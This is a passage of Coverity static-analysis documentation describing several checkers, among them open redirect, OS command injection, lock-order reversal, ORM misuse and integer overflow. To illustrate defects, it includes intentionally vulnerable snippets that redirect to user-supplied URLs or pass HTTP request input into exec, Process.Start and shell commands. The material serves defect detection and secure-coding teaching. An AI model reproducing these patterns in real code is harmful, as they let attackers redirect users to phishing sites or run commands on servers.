Supported Languages: C, C++, Objective-C, Objective-C++
OPEN_ARGS finds cases where a file is created with
unspecified permissions. Specifically, the POSIX open() function can take
either two or three arguments. The three-argument form should be used whenever the open
flags include O_CREAT. The checker reports when the two-argument form is
used with O_CREAT, because in that case, the file permissions are not
specified and will be unpredictable.
The open() system call converts a pathname into a file
descriptor. You can pass flags to open() specifying various
options including the file's access permissions (read/write, read only, or write only),
whether to create the file if it does not exist (O_CREAT), and whether
the file can be appended to.
If you call open() with the O_CREAT option,
you should also, for safety, pass an argument (mode argument) that explicitly sets the
file's permissions.
Disabled by default: OPEN_ARGS is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable OPEN_ARGS
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more OPEN_ARGS examples.
The following example generates a defect
because the open()call will create a new file if
file.log does not exist yet lacks a correct mode
argument.
void open_args_example() {
int fd = open("file.log", O_CREAT);
}
Supported Languages: C#, Java, JavaScript, PHP, Python, Visual Basic
OPEN_REDIRECT looks for instances where user-controlled input is
used to specify a link to an external site that is then used in a redirect call (CWE 601
). An attacker can create a link to the trusted site that
redirects to a malicious Web site. This enables the attacker to mount a phishing attack
that can allow them to steal user credentials.
Disabled by default: OPEN_REDIRECT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable OPEN_REDIRECT
along with other Web application checkers,
use the --webapp-security
option.
Python support: Security checkers are supported for Python 2.7.x only.
A OPEN_REDIRECT defect shows how user-controlled input can reach a redirect sink. The defect consists of a path that starts with a user-controlled input and traces the program execution to a redirect call that redirects to an address that can be controlled by the user input.
This section provides one or more OPEN_REDIRECT examples.
The following C# .NET code is vulnerable to open redirect.
string url = request.QueryString["url"]; Response.Redirect(url); // Defect here.
Consider the following implementation of the doGet method in a Java
HttpServlet
InsecureServlet.java:
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
String url= request.getParameter("url");
response.sendRedirect(url); // Defect here.
}The following code uses a user-controlled request parameter as the initial part of a redirect URL. An attacker could create a URL to your site that redirects your users to a malicious site.
var app = require('express')();
app.get("/open_redirect", function (req, res) {
var url = "http://" + req.query.redirectTo;
res.redirect(url);
});The following Python code (which uses the Django framework) uses tainted data from a HTTP request as the target for a redirect.
from django.conf.urls import url
from django.shortcuts import redirect
def django_view(request):
return redirect(request.GET('target'))
urlpatterns = [
url(r'index', django_view)
]Imports System.Web
Imports System.Web.Mvc
Imports System.Web.WebPages
Public Class MyController
Inherits Controller
Public Sub unsafeRedirect(request As HttpRequestBase)
Dim url As String = request.QueryString("url")
' Open redirect
Response.Redirect(url)
End Sub
Public Sub safeRedirect(request As HttpRequestBase)
Dim url As String = request.QueryString("url")
If (System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(request, url))
' ' Safe redirect
Response.Redirect(url)
Else
Response.Redirect("errorPage")
End If
End Sub
End ClassFor C#, see the Security.HttpRedirectSink(Object o) primitive in
Section 6.2.1.3, “C# and Visual Basic Primitives”.
As with all tainted data flow checkers, you can use the tainted_data directive
to indicate additional sources of untrusted data; see Section E.1.4.2.31, “tainted_data directive” for details on this directive.
You can help the OPEN_REDIRECT checker find more defects using the
sink_for_checker directive to specify additional functions
arguments that take a URL and send a redirect message to the client; see Section E.1.4.2.30, “sink_for_checker directive” and the example below for details on this
directive.
The following JSON file specifies a sink_for_checker directive for
OPEN_REDIRECT. It tells the checker that the first argument of the function
vulnerableRedirect is the URL to which the client will be
redirected.
{
"type" : "Coverity analysis configuration",
"format_version" : 11,
"language" : "javascript",
"directives" : [
{
"sink_for_checker": "OPEN_REDIRECT",
"sink": {
"input": "arg1",
"to_callsite": {
"call_on": {
"read_off_any": [
{ "property" : "vulnerableRedirect" }
]
}
}
}
}
]
}If you pass the directive file above to cov-analyze, OPEN_REDIRECT reports a defect in the following source code.
var app = require('express')();
app.get("/open_redirect", function (req, res) {
var url = "http://" + req.query.redirectTo;
vulnerableRedirect (url);
});For Visual Basic, you can use the Security.HttpRedirectsSink
primitive; it marks a method parameter as being used as an HTTP address to redirect
to. The OPEN_REDIRECT checker reports a defect if an unsafe user-controllable
string is passed to this method.
See the Security.HttpRedirectSink(Object o) primitive in Section 6.2.1.3, “C# and Visual Basic Primitives”.
This section describes one or more OPEN_REDIRECT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
OPEN_REDIRECT:distrust_all:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
OPEN_REDIRECT:distrust_all:false.
This checker option is automatically set to true if the
OPEN_REDIRECT:webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
OPEN_REDIRECT:trust_command_line:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to
false causes the analysis to treat command line arguments as tainted.
Defaults to OPEN_REDIRECT:trust_command_line:true. Setting this checker option will override the global --trust-command-line and --distrust-command-line
command line options.
OPEN_REDIRECT:trust_console:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to false
causes the analysis to treat data from the console as tainted. Defaults to
OPEN_REDIRECT:trust_console:true. Setting this
checker option will override the global --trust-console and
--distrust-console command line options.
OPEN_REDIRECT:trust_cookie:<boolean> - [JavaScript,
PHP, and Python only] Setting this option to false causes the analysis to treat
data from HTTP cookies as tainted. Defaults to
OPEN_REDIRECT:trust_cookie:false. Setting
this checker option will override the global --trust-command-line
and --distrust-command-line command line options.
OPEN_REDIRECT:trust_database:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to false causes the analysis to
treat data from a database as tainted. Defaults to
OPEN_REDIRECT:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
OPEN_REDIRECT:trust_environment:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to false causes the analysis to
treat data from environment variables as tainted. Defaults to OPEN_REDIRECT:trust_environment:true. Setting this checker option will override the global
--trust-environment and --distrust-environment
command line options.
OPEN_REDIRECT:trust_filesystem:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to false causes the analysis to
treat data from the filesystem as tainted. Defaults
to OPEN_REDIRECT:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
OPEN_REDIRECT:trust_http:<boolean> - [JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data
from HTTP requests as tainted. Defaults to
OPEN_REDIRECT:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
OPEN_REDIRECT:trust_http_header:<boolean> - [JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to OPEN_REDIRECT:trust_http_header:true. Setting
this checker option will override the global --trust-http-header
and --distrust-http-header command line options.
OPEN_REDIRECT:trust_network:<boolean> - [JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data
from the network as tainted. Defaults to
OPEN_REDIRECT:trust_network:false. Setting this
checker option will override the global --trust-network and
--distrust-network command line options.
OPEN_REDIRECT:trust_rpc:<boolean> - [JavaScript, PHP, and Python only] Setting this option to false causes the analysis to treat data from
RPC requests as tainted. Defaults to
OPEN_REDIRECT:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
OPEN_REDIRECT:trust_system_properties:<boolean> -
[JavaScript, PHP, and Python only] Setting this option to false causes the analysis to
treat data from system properties as tainted. Defaults to
OPEN_REDIRECT:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
Supported Languages: C, C++, Objective-C, Objective-C++
ORDER_REVERSAL finds many cases where the program acquires a pair of locks/mutexes in different orders in different places. This issue can lead to a deadlock if two threads simultaneously use the opposite order of acquisition.
Acquiring pairs of locks in the incorrect order can result in the program hanging. Because of thread interleaving, it is possible for two threads to each be waiting on a lock that the other thread has acquired (deadlock). Other threads attempting to acquire either of the two locks will also deadlock.
Disabled by default: ORDER_REVERSAL is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Concurrency checker enablement: To enable ORDER_REVERSAL along with other concurrency checkers that are disabled by default, use the
--concurrency option to cov-analyze.
This section provides one or more ORDER_REVERSAL examples.
// Thread one enters this function
void deadlock_partA(struct directory *a, struct file *b) {
spin_lock(a->lock); // Thread one acquires this lock
spin_lock(b->lock); // before it can acquire this lock...
}
// Thread two enters this function
void deadlock_partB( struct directory *a, struct file *b ) {
spin_lock(b->lock); // Thread two acquires this lock
spin_lock(a->lock); // Deadlock
}This section describes one or more ORDER_REVERSAL options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
ORDER_REVERSAL:max_lock_depth:<
- This option specifies the maximum depth of
the call chain that acquires the second lock while the first lock is held. This
option exists because when the lock acquisitions are separated by a deeply
nested call chain, there is often some other synchronization mechanism involved
that the analysis cannot interpret, so the resulting reports are often false
positives. By default, if a second lock is acquired in a call chain that has
more than 6 maximum_value>getlock calls, the analysis will not treat it as a lock
acquired when holding another lock. As a consequence, it might suppress a defect
that is associated with that pair. To find such an issue, enable this option by
increasing the max_lock_depth value. Defaults to
ORDER_REVERSAL:max_lock_depth:6
This section describes one or more events produced by the ORDER_REVERSAL checker.
example_lock_order: Acquiring the lock represented by the second
element of a correct lock order.
getlock: The actual lock acquisition if it occurs in a different
method.
lock_acquire: A lock is acquired.
lock_order: A second lock is acquired after the first lock. The
order of these operations is incorrect.
lock_examples: A link to a function that acquired the locks in
the correct order.
ORM_LOAD_NULL_CHECK finds many instances of checking the result of a load operation for null.
Load operations never return null. If the requested ID does not exist in
the database, the operations will return a non-null proxy object. Because
such proxy objects can only be used to get back the ID they were created with (and any
other attempt to use them will result in an exception), it is generally dangerous to
proceed with a proxy object. The presence of a null check following a load
operation suggests that the programmer either confused load with
get (which can return null) or added a logically
unnecessary null test.
ORM_LOAD_NULL_CHECK will only report cases in which a null check takes
place on a value that is always the result of a load operation. If there is any
possibility that the value being tested might have come from a source other than a load
operation (and thus might legitimately be null), no defect is
reported.
This section provides one or more ORM_LOAD_NULL_CHECK examples.
...
MyObject myObject = (MyObject)session.load(id);
if (myObject != null) { // null check of load result that always passes
myObject.doSomething(); // Bad if 'myObject' is a proxy.
}MyObject loadOrGet(Identifier id, boolean doLoad) {
return doLoad ? session.load(id) : session.get(id);
}
...
MyObject myObject = loadOrGet(id, true /* doLoad */);
if (myObject == null) { // null check of load result -- never passes
throw MyObjectNotFoundException();
}
myObject.doSomething(); // Bad if 'myObject' is a proxyThis section describes one or more events produced by the ORM_LOAD_NULL_CHECK checker.
load - A value is returned from an Object-Relational Mapping
(ORM) load operation.
assumed_dao_load - A value is returned from a method named
load on a Data Access Object (DAO) interface that is assumed to
be implemented with an actual load operation.
null_check_load - The result of an earlier load
operation is checked against null.
load_fn - A load operation returns a value that
will later be returned by a method.
return_loaded - A method is returning a value that was the
result of a load operation.
ORM_LOST_UPDATE finds several different errors involving the persistent object "lifecycle" of Object-Relational Mapping (ORM) systems such as JPA or Hibernate. The two main problems found by this checker are transient objects not being persisted and modified detached objects not being merged back into a session. This checker will also report ORM operations that will throw exceptions based on the current state of an object they are applied to.
An object that may be stored in a persistent database is referred to as an "Entity". An Entity is initially created as an in-memory-only object. An Entity that exists in memory but has never been stored in a database is said to be "transient". In order for a transient object to persist it must be associated with a session, typically by means of some sort of save operation. Once this is done the object is no longer transient and instead becomes an unmodified "persistent" object. If an Entity is created but not stored an ORM_ABANDONED_TRANSIENT defect will be reported, unless the object is used in a way that suggests it was intended to be a temporary object (that just happened to be of an Entity class type). There is no certain way to determine whether a transient object was meant to be persisted, but the heuristic used is that any reading of the contents of a persistent object is sufficient evidence that it is only being used as a temporary variable. This heuristic may lead to either false negatives or false positives.
Starting with a persistent object, if that object is disassociated with a session it becomes "detached". Individual objects can be detached one at a time, or all outstanding objects associated with a session may become detached at once if the session itself is closed or cleared. If a persistent object is modified it becomes a modified persistent object and, once detached, it becomes a modified detached object. If a previously unmodified detached object is later modified it, too, can become a modified detached object. The in-memory changes to a modified persistent object are written back to the database by a flush operation, which can occur explicitly or implicitly as part of various other operations. A flush operation thus causes all modified persistent objects to revert to unmodified persistent objects. In contrast, there is no flush operation applicable to modified detached objects. The only way to persist in-memory changes to a detached object is to reattach (typically, merge) that object into a session. If a modified detached object is not reattached to a session then an ORM_LOST_UPDATE defect will be reported, indicating that a non-persistent change to a persistent object is being lost.
The rules for when flushing occurs in a system like Hibernate are complex. The ORM_LOST_UPDATE checker assumes that any explicit control of flushing is intentional. If the only flushing done for a modified persistent object is a side effect of some operation such as a query evaluation then this is deemed "accidental" rather than intentional. Such accidental flushing is not sufficient to prevent reporting a defect, but the defect reported will note where this flushing occurred so that it can be evaluated.
Disabled by default: ORM_LOST_UPDATE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more ORM_LOST_UPDATE examples.
...
@Entity
public class MyEntity {
...
}
...
{
MyEntity myEntity = new MyEntity();
myEntity.setThis(0);
myEntity.setThat(1);
// ... but no "get"s, etc.
// not persisted
} // error: abandoned transient{
...
myEntity = (MyEntity)session.get(myId);
myEntity.setThis(3); // modified
// ... no flush
session.clear(); // detach everything
// ... no reattach of 'myEntity'
} // error: lost update{
...
myEntity = (MyEntity)session.get(myId);
session.detach(myEntity); // explicit, single-object detach
// ... no reattach
myEntity.setThat(5); // modified
// ... no reattach
} // error: lost updateThis section describes one or more events produced by the ORM_LOST_UPDATE checker.
new_transient - A transient object is created with a new
expression.
assuming_detached - A previously unknown Entity is
encountered after a session operation such as a close or clear which detaches
all associated objects. Such an entity is assumed to still be detached. It is
further assumed that any Entity field of a detached object is also detached.
null_check_load - The persistent or detached state of an
object that is a field of another object is inferred from the state of the
object it is a field of.
detach_all - All outstanding persistent objects associated
with a session are detached.
lost_modification - The in-memory changes to a modified
detached object are lost.
merge - An object is merged into a session, which leaves it
unmodified but still detached.
transient_result - A call to a method that returns a
transient object.
persistent_result - A call to a method that returns an
unmodified persistent object.
modified_persistent_result - A call to a method that returns
a modified persistent object.
detached_result - A call to a method that returns an
unmodified detached object.
modified_detached_result - A persistent or detached object is
modified.
return_persistent - Returning an unmodified persistent
object.
return_modified_persistent - Returning a modified persistent
object.
transient_fn - A call to a method that returns a transient
object.
persistent_fn - A call to a method that returns an unmodified
persistent object.
modified_persistent_fn - A call to a method that returns a
modified persistent object.
detached_fn - A call to a method that returns an unmodified
detached object.
modified_detached_fn - A call to a method that returns a
modified detached object.
detach_all_fn - A call to a method that detaches all
persistent objects.
manual_flushing - The session's flush mode is set to MANUAL.
flush_fn - A call to a method that flushes under some
condition.
flushmode_fn - A call to a method that sets the session's
flush mode.
uncertain_flush - Whether or not a flush will occur depends
on the session's flush mode and the flush mode is not explicitly set.
no_implied_flush - An operation sometimes performs a flush,
but it does not given the session's current flush mode.
id_test - Comparison of an Entity's id with null testing for
transience.
ignored_get_escape - An Entity is passed to a method that
does not retain a reference to it.
detach_transient - A transient Entity is being explicitly
detached. This will cause an exception to be thrown.
persist_detached - Persisting a detached object. This will
cause an exception to be thrown.
Because accessing the database is an expensive operation that
should occur only when it is necessary, ORM_UNNECESSARY_GET finds cases in which the contents
of an entity obtained through a call to Session.get(...) is not used on a
given path, making the method call and consequent database access unnecessary. If only a
reference to the object is used (such as storing it into a field of another object) or
only the ID of the object is used, it might be more efficient to use a load
operation than a get operation to obtain it.
This section provides one or more ORM_UNNECESSARY_GET examples.
In the following example,
Score is an entity that is obtained from the database and assigned to
x. However, because only the object reference (and not the contents) of
x is used, the database access through Session.get(...) is
unnecessary. Note that in many cases a call to Session.get(...) might be
wrapped at multiple levels. In such cases, it might not be clear to a programmer whether
database access occurs.
public void foo(Session s, Serializable id) {
Score x = (Score)s.get(Score.class, id);
setScore(x); // Does not access the contents of 'x'.
}This section describes one or more events produced by the ORM_UNNECESSARY_GET checker.
orm_get_fn - A persistent instance of given entity class
X is returned.
unnecessary_get - Variable x going out of scope
makes the earlier call to get(...) on this path unnecessary.
setter_method - Variable x is passed to a setter
method. If x is just used in a setter method, you can call a
load(...) method to obtain it.
Supported Languages: C#, Java, JavaScript, PHP, Python, Visual Basic.
OS_CMD_INJECTION detects many instances in which an OS command is executed on the server and the command or its arguments can be manipulated by an attacker. An attacker who has control over part of the command string might be able to maliciously alter the intent of the operating system command. This change might result in the disclosure, destruction, or modification of sensitive data or operating system resources.
By default, the OS_CMD_INJECTION checker treats values as though they are tainted if they come from the network (either through sockets or incoming HTTP requests). The checker can also be configured to treat values from the file system or the database as though they are tainted (see Section 4.147.4, “Options”).
Note that the checker always reports a defect when tainted data flows to an OS command no matter what sanitization was done. Coverity suggests the following workflow:
Follow Coverity remediation advice: validate, sanitize, and use the array forms of methods rather than the string forms.
For JavaScript, sanitize the data before using inside a sensitive function call. If possible, use a safer library or API call instead
If you continue to use an OS command to achieve your goal, get a security expert to review the code and mark the defect as Intentional in Coverity Connect if the expert is satisfied that the behavior of the code is safe.
For more information on the risks and consequences of OS command injections, see Chapter 7, Security Reference. For detailed information about the potential security vulnerabilities found by this checker, see Section 7.1.4.3, “OS Command Injection”.
Disabled by default: OS_CMD_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable OS_CMD_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable OS_CMD_INJECTION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
An OS_CMD_INJECTION defect shows a dataflow path by which untrusted (tainted) data is
used to construct the name of an executable to run, some or all of its arguments, or a
command passed to a shell, such as bash or cmd.exe. The
dataflow path starts at a source of untrusted data, such as getting input from an HTTP
request. From there, the events in the defect show how this tainted data flows through
the program, for example, from the argument of a function call to the parameter of the
called function. The final part of the path shows the tainted string being used to start
another operating system process.
This section provides one or more OS_CMD_INJECTION examples.
In the following OS command injection example, tainted data from an HTTP request is used to start a process in an unsafe manner.
using System;
using System.Diagnostics;
using System.Web;
class OSCmdInjection
{
HttpRequest req;
void test()
{
String tainted = req["tainted"];
Process.Start(tainted); // Defect
}
}For code examples, Section 7.1.4.3, “OS Command Injection” and Section 7.6.3, “OS Command Injection code examples”.
The following code example shows a vulnerable Node.js Web application using the Express framework.
const express = require("express");
const app = express();
app.get("/run",
function run(req, res, next) { //#defect#OS_CMD_INJECTION
require("child_process").exec(req.query.cmd);
res.send("Done");
});
app.listen(1337, function() {
console.log("Express listening...");
});The following PHP code uses tainted data from a HTTP request as part of a command line.
$user = $_REQUEST['user']; `shell-cmd --user $user`;
The following Python code (which uses the Django framework) uses tainted data from an HTTP
request as part of an execv call.
import os
from django.conf.urls import url
def django_view(request):
os.execv(request.body)
urlpatterns = [
url(r'index', django_view)
]The following example shows an OS_CMD_INJECTION defect in a Visual Basic subroutine. Untrusted data from an HTTP web request is passed as an operating system command argument.
Sub ArgumentIsUnsafe(req as HttpRequest, cmd As String)
' Reading untrusted data from an HTTP web request
Dim arg As String = req("taint")
' Pass the untrusted data as a command argument
Process.Start("rm", arg)
End SubThis section describes one or more OS_CMD_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
OS_CMD_INJECTION:distrust_all:<boolean> - [JavaScript, PHP, and Python only] Setting this
option to true is equivalent to setting all trust_* checker options
for this checker to false. Defaults to
OS_CMD_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
OS_CMD_INJECTION:ignore_command_as_array:<boolean> -
[Java only] This option suppresses defects
reported at OS command library calls that accept a list or an array of
arguments. In many situations, these calls are less exploitable than
concatenated command strings. Defaults to
OS_CMD_INJECTION:ignore_command_as_array:false.
The following example produces an issue report that is suppressed if this option is enabled:
class MyServlet extends HttpServlet {
public void doPost(HttpServletRequest req, HttpServletResponse resp) {
try {
String pattern = req.getParameter("file_filter");
String [] cmd_and_opts = {"ls",
"-l",
"--hide="+pattern};
Process p = java.lang.Runtime.getRuntime().exec(cmd_and_opts);
// ...
} catch(Exception e) {
// ...
}
}
}OS_CMD_INJECTION:trust_mobile_other_app:<boolean> - [Java
only] Setting this option to true causes the
analysis to trust data that is received from any mobile application that does
not require a permission to communicate with the current application component.
Defaults to
OS_CMD_INJECTION:trust_mobile_other_app:false for
Java. Setting this checker option will override the global
--trust-mobile-other-app and
--distrust-mobile-other-app command line options.
OS_CMD_INJECTION:trust_mobile_same_app:<boolean> - [Java
only] Setting this option to false causes the
analysis to treat data received from the same mobile application as though it is
tainted. Defaults to
OS_CMD_INJECTION:trust_mobile_same_app:true for
Java. Setting this checker option will override the global
--trust-mobile-same-app and
--distrust-mobile-same-app command line options.
OS_CMD_INJECTION:trust_mobile_user_input:<boolean> -
[Java only] Setting this option to true causes
the analysis to treat data obtained from user input as though it is not tainted.
Defaults to
OS_CMD_INJECTION:trust_mobile_user_input:false for
Java. Setting this checker option will override the global
--trust-mobile-user-input and
--distrust-mobile-user-input command line options.
OS_CMD_INJECTION:trust_mobile_other_privileged_app:<boolean>
- [Java only] Setting this option to false
causes the analysis to treat data as tainted when the data is received from any
mobile application that requires a permission to communicate with the current
application component. Defaults to
OS_CMD_INJECTION:trust_mobile_other_privileged_app:true
for Java. Setting this checker option will override the global
--trust-mobile-other-privileged-app and
--distrust-mobile-other-privileged-app command line
options.
OS_CMD_INJECTION:trust_command_line:<boolean> - Setting
this option to false causes the analysis to
treat command line arguments as tainted. Defaults to
OS_CMD_INJECTION:trust_command_line:true for all
languages. Setting this checker option will override the global
--trust-command-line and
--distrust-command-line command line options.
OS_CMD_INJECTION:trust_console:<boolean> - Setting this
option to false causes the analysis to
treat data from the console as tainted. Defaults to
OS_CMD_INJECTION:trust_console:true for all
languages. Setting this checker option will override the global
--trust-console and --distrust-console
command line options.
OS_CMD_INJECTION:trust_cookie:<boolean> - Setting this
option to false causes the analysis to
treat data from HTTP cookies as tainted. Defaults to
OS_CMD_INJECTION:trust_cookie:false for all
languages. Setting this checker option will override the global
--trust-cookie and --distrust-cookie
command line options.
OS_CMD_INJECTION:trust_database:<boolean> - Setting this
option to false causes the analysis to
treat data from a database as tainted. Defaults to
OS_CMD_INJECTION:trust_database:true for all
languages. Setting this checker option will override the global
--trust-database and --distrust-database
command line options.
OS_CMD_INJECTION:trust_environment:<boolean> - Setting
this option to false causes the analysis to
treat data from environment variables as tainted. Defaults to OS_CMD_INJECTION:trust_environment:true for all
languages. Setting this checker option will override the global
--trust-environment and
--distrust-environment command line options.
OS_CMD_INJECTION:trust_filesystem:<boolean> - Setting
this option to false causes the analysis to
treat data from the filesystem as tainted. Defaults
to OS_CMD_INJECTION:trust_filesystem:true for all
languages. Setting this checker option will override the global
--trust-filesystem and
--distrust-filesystem command line options.
OS_CMD_INJECTION:trust_http:<boolean>: Setting this
option to false causes the analysis to
treat data from HTTP requests as tainted. Defaults
to OS_CMD_INJECTION:trust_http:false for all
languages. Setting this checker option will override the global
--trust-http and --distrust-http command
line options.
OS_CMD_INJECTION:trust_http_header:<boolean> - Setting
this option to false causes the analysis to
treat data from HTTP headers as tainted. Defaults to
OS_CMD_INJECTION:trust_http_header:false for all
languages . Setting this checker option will override the global
--trust-http-header and
--distrust-http-header command line options.
OS_CMD_INJECTION:trust_network:<boolean> - Setting this
option to false causes the analysis to
treat data from the network as tainted. Defaults to
OS_CMD_INJECTION:trust_network:false for all
languages. Setting this checker option will override the global
--trust-network and --distrust-network
command line options.
OS_CMD_INJECTION:trust_rpc:<boolean> - Setting this
option to false causes the analysis to
treat data from RPC requests as tainted. Defaults to
OS_CMD_INJECTION:trust_rpc:false for all
languages. Setting this checker option will override the global
--trust-rpc and --distrust-rpc command
line options.
OS_CMD_INJECTION:trust_system_properties:<boolean> -
Setting this option to false causes the
analysis to treat data from system properties as tainted. Defaults to
OS_CMD_INJECTION:trust_system_properties:true for all
languages. Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
See the
corresponding command line options
to cov-analyze in the Coverity 2018.09 Command Reference.
Models and primitives (see Section 6.2, “Models and Annotations in C# or Visual Basic”) can improve analyses with this checker in the following case:
If the OS_CMD_INJECTION checker does not recognize a method parameter in
your program as one that is used to start a new operating system process
(either as the path to the executable or the arguments to it), you can model
it as such. For more information, see the sections
"Security.CommandFileNameSink(Object)" and
"Security.CommandArgumentsSink(Object)" in Section 6.2.1.3, “C# and Visual Basic Primitives”. The following model directs the OS_CMD_INJECTION checker to report a
defect if tainted data flows into the command line parameter of the
MyProcessWrapper.Execute method:
public MyProcessWrapper {
void Execute(String commandLine) {
Security.CommandFileNameSink(commandLine);
}
}The following model directs the OS_CMD_INJECTION checker to report a defect if
tainted data flows into the args parameter of the
MyProcessWrapper.Execute method.
public MyProcessWrapper {
void Execute(String safeCommandLine, String args) {
Security.CommandArgumentsSink(args);
}
}Java models and annotations (see Section 6.3, “Models and Annotations in Java”) can improve analyses with this checker in the following cases:
If the analysis misses defects because it does not treat certain data
as tainted, see discussion of the @Tainted
annotation, and see Section 6.3.1.3, “Modeling Sources of Untrusted (Tainted) Data” for
instructions on marking method return values, parameters, and fields as
tainted.
If the analysis reports false positives because it treats a field as
tainted when you believe that tainted data cannot flow into that field,
see @NotTainted.
If the OS_CMD_INJECTION checker does not recognize a method parameter
in your program as one that is used to start a new operating system
process (either as the path to the executable or the arguments to it),
you can model it as such. The following model directs the
OS_CMD_INJECTION checker to report a defect if tainted data flows into
the commandLine parameter of the
MyProcessWrapper.execute method.
public MyProcessWrapper {
void execute(String commandLine) {
com.coverity.primitives.SecurityPrimitives.os_cmd_one_string_sink(commandLine);
}
}See also, Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, and Scala
OVERFLOW_BEFORE_WIDEN finds cases in which the value of an arithmetic expression might overflow before the result is widened to a larger data type. The checker only reports cases where the program already contains a widening operation, but that operation is performed too late. In most cases, the solution is to widen at least one operand to a wider type before performing the arithmetic operation.
The defect indicates that the value of an arithmetic expression is subject to overflow due to a failure to cast operands to a larger data type before performing arithmetic. The failure to cast can yield an unexpected value. For example, an operation that multiplies two integers might yield a value other than a product that results from using arbitrary precision integers (for example, a value other than what a calculator produces when you multiply the two numbers). The checker reports a defect only if it finds some indication that the extra precision is desired.
Enabled by default: OVERFLOW_BEFORE_WIDEN is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more OVERFLOW_BEFORE_WIDEN examples.
In the following example, the checker reports a defect because x * y
exceeds the maximum value allowed by the unsigned type for the target
platform (232 − 1, that is, 4,294,967,295):
void foo() {
unsigned int x = 2147483648;
unsigned int y = 2;
unsigned long long z;
if ((x * y) == z) {
// Do something.
}
}The result of the expression (x * y) is 0, which might not be what
the programmer intended. To obtain the result 4294967296, a cast on one of the
operands is required:
if (((unsigned long long) x * y) == z) {
// Do something.
}In contrast, the checker does not report a defect below, because extra precision was not desired:
unsigned int bar() {
unsigned int x = 2147483648;
unsigned int y = 2;
return x * y;
}Note that the checker will not report a defect if it finds that the overflow condition cannot occur or that it is unlikely to be an issue even if it does occur.
This section provides one or more OVERFLOW_BEFORE_WIDEN examples.
public class OverflowBeforeWiden
{
long multiply(int x1, int x2)
{
return x1 * x2; //An OVERFLOW_BEFORE_WIDEN defect here.
}
}In these examples, x and y (which are being multiplied) are both of
a 32-bit wide Int type, however a 64-bit Long type is being
returned.
def test(x: Int, y: Int) : Long = { // returns Long
return x * y // //An OVERFLOW_BEFORE_WIDEN defect here.
}
val test : (Int,Int) => Long = (x, y) => { // returns Long
x * y // An OVERFLOW_BEFORE_WIDEN defect here.
}This section describes one or more OVERFLOW_BEFORE_WIDEN options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
OVERFLOW_BEFORE_WIDEN:check_bitwise_operands:<boolean> - When
this option is true, the checker reports
defects based on values that have gone through bitwise-and, bitwise-or, or
bitwise-xor operations. By default, the checker treats overflow in the argument
to a bitwise operator as intentional. Defaults to
OVERFLOW_BEFORE_WIDEN:check_bitwise_operands:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
Example:
unsigned int x = ...; unsigned long long y = (x << 16) | (x >> 16); // switch endianness
OVERFLOW_BEFORE_WIDEN:check_macros:<boolean> - When this
optoin is true, the checker reports
potentially overflowing operations even when they occur within macros. The
checker ignores macros by default. Defaults to
OVERFLOW_BEFORE_WIDEN:check_macros:false (C and C++
only).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
OVERFLOW_BEFORE_WIDEN:check_nonlocals:<boolean> - When this
option is true, the checker reports
potentially overflowing operations even when the cause of widening is nonlocal
(for example, a function or method call, or a global static variable). Defaults to
OVERFLOW_BEFORE_WIDEN:check_nonlocals:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
For C/C++, this option allows the checker to report the following as a defect:
long long foo() { return 4294967296; }
int compare(int x, int y) {
return (x << y) == foo();
}For C#, this option allows the checker to report the following:
class External {
public static void use(long l) {}
}
class Other {
void use(long l) {}
void testLocal(int i, int j) {
use(i * j); // Always a bug
}
void testNonLocal(int i, int j) {
External.use(i * j); // Only a bug with check_nonlocals
}
}For Java, enabling this option allows the checker to report the following as a defect:
long foo() { return 4294967296L; }
boolean compare(int x, int y) {
return (x << y) == foo();
}OVERFLOW_BEFORE_WIDEN:check_types:<regex> - This option specifies a regular expression (Perl syntax)
to match against the destination type of the existing widening operation. A
defect will only be reported if the destination type matches the specified
regular expression. Defaults to
